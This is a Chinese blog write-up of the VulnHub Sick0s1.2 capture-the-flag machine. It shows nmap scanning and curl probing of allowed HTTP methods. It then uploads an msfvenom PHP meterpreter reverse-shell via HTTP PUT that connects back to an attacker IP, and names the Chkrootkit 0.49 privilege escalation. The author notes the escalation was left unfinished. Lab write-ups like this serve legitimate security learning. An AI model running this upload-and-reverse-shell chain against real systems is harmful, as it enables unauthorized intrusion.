VulnHub靶场篇14-Sick0s1.2

靶机地址:Sick0s1.2~ VulnHub
难易程度:2.0 / 10.0

文章简要记录渗透靶机每一个过程,对于渗透过程中的每一步并非十分的详细,其中部分内容会有错,望读者指出错误,谢谢!

摘要:扫描出22和80端口,对/test目录进行测试,使用curl或nmap工具发现其允许使用PUT协议上传文件,上传反向连接脚本,成功得到低权限,再在计划任务中发现Chkrootkit 0.49,存在Privilege Escalation漏洞。

待完善地方:nmap|curl扫描网站目录允许的传输协议

主机探测&端口扫描

靶机ip为:192.168.1.13

端口扫描结果:

hhh@Kali2020:~$ nmap -p-  192.168.1.13
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-06 16:36 CST
Stats: 0:01:38 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 92.52% done; ETC: 16:38 (0:00:08 remaining)
Nmap scan report for ubuntu (192.168.1.13)
Host is up (0.00056s latency).
Not shown: 65533 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

信息搜集

使用dirb和nikto都没扫描到什么,根据之前所学的东西,在这里就停滞不前了,查看WP

思路一:查看该目录/test允许进行通信的HTTP协议

curl -v -X OPTIONS http://192.168.1.13/test

-v:将发送的所有命令显示出来
-X:指定请求包的协议

也可以通过nmap进行扫描

nmap 192.168.1.13 -p 80 --script http-methods --script-args http-methods.url-path='/test'

思路二:也可以直接测试PUT协议是否允许

尝试通过PUT上传一个txt文件,再目录下查看是否存在

curl -v -X PUT -d "test 123" http://192.168.1.13/test/123.txt

-d:表示写入的数据data

测试后发现可以通过PUT协议进行上传

权限获取 | Exploitation

  1. 本地生产shell发向连接脚本
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.15 lport=443 -f raw
  1. 将上面生成的代码写入一个文件shell.php
  2. 使用curl命令通过PUT请求方法写入到网站/test目录
curl --upload-file shell.php -v --url http://192.168.1.13/test/shell.php -0 --http1.0

--upload-file:指定要上传的文件
-v:显示操作的所有命令
--url:指定目标URL
-0:表示使用HTTP 1.0
--http1.0:同上,使用HTTP1.0,两个参数要同时使用

  1. 使用nc或者msf的handler模块进行监听
  2. 在网站中访问该文件即可获取低权限

权限提升 | Escalation

查看计划任务

ls -al /etc/cron*

通过Chkrootkit漏洞进行提权,相关漏洞

Chkrootkit 0.49 - Local Privilege Escalation

这里我的443端口有问题连不上,8080就可以,这部分没有完全做完

总结

  1. PUT协议
  2. 使用工具扫描出该网站目录支持的协议

参考

https://github.com/zionspike/vulnhub-writeup/blob/master/sick0s 1.2/kapi-note.md

https://www.youtube.com/watch?v=XYiFt8O1jM4

原文地址:https://www.cnblogs.com/labster/p/14665693.html